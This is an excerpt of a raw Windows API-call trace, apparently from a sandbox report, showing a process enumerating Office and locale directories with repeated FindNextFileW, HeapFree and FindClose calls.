	[0169.604] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1063", cAlternateFileName="")) returned 1
	[0169.605] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0169.605] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1066", cAlternateFileName="")) returned 1
	[0169.606] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0169.606] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1069", cAlternateFileName="")) returned 1
	[0169.608] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0169.608] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5afc9d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1081", cAlternateFileName="")) returned 1
	[0169.609] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0169.609] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7abb0bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1086", cAlternateFileName="")) returned 1
	[0169.610] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0169.610] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1087", cAlternateFileName="")) returned 1
	[0169.611] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0169.611] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1110", cAlternateFileName="")) returned 1
	[0169.612] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0169.612] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1
	[0169.613] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0169.613] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c40a24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2070", cAlternateFileName="")) returned 1
	[0169.614] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0169.614] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2074", cAlternateFileName="")) returned 1
	[0169.615] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0169.615] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1
	[0169.616] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0169.616] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 1
	[0169.617] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0169.617] FindNextFileW (in: hFindFile=0x76f268, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 0
	[0169.617] FindClose (in: hFindFile=0x76f268 | out: hFindFile=0x76f268) returned 1
	[0169.617] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0169.617] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
	[0169.621] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0169.621] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
	[0169.624] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0169.624] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
	[0169.628] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0169.628] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
	[0169.730] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0169.731] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5612cee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5612cee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ae38, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0169.736] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.736] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1
	[0169.739] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.739] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0169.741] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.741] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02eb98a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1
	[0169.743] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.743] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
	[0169.745] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.745] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16867e02, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16867e02, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
	[0169.747] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.747] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16841bb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f913, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracedefinition110.xml", cAlternateFileName="TRACED~1.XML")) returned 1
	[0169.750] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.750] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf164abda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
	[0169.752] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.752] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1
	[0169.754] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.754] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1
	[0169.814] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0169.815] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0
	[0169.815] FindClose (in: hFindFile=0x76f4e8 | out: hFindFile=0x76f4e8) returned 1
	[0169.815] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0169.816] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c5a96a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9d4a250, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x163c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 1
	[0169.816] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0169.816] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b680, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AdeModule.dll", cAlternateFileName="ADEMOD~1.DLL")) returned 1
	[0170.086] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.086] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 1
	[0170.209] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0170.210] FindNextFileW (in: hFindFile=0x76f4e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 0
	[0170.210] FindClose (in: hFindFile=0x76f4e8 | out: hFindFile=0x76f4e8) returned 1
	[0170.210] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0170.210] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1
	[0170.257] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0170.257] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cf4318, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf7e60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1
	[0170.317] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0170.317] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c80c48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c80c48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca4703d4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ee58, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1
	[0170.513] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.513] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6b60d2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6b60d2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6b60d2f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x90e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DELIMWIN.FAE", cAlternateFileName="")) returned 1
	[0170.513] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0170.513] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bd0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="cpprest140_2_6.dll", cAlternateFileName="CPPRES~1.DLL")) returned 1
	[0170.834] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0170.834] FindNextFileW (in: hFindFile=0x76efe8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0
	[0170.834] FindClose (in: hFindFile=0x76efe8 | out: hFindFile=0x76efe8) returned 1
	[0170.834] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0170.834] FindNextFileW (in: hFindFile=0x76ee68, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
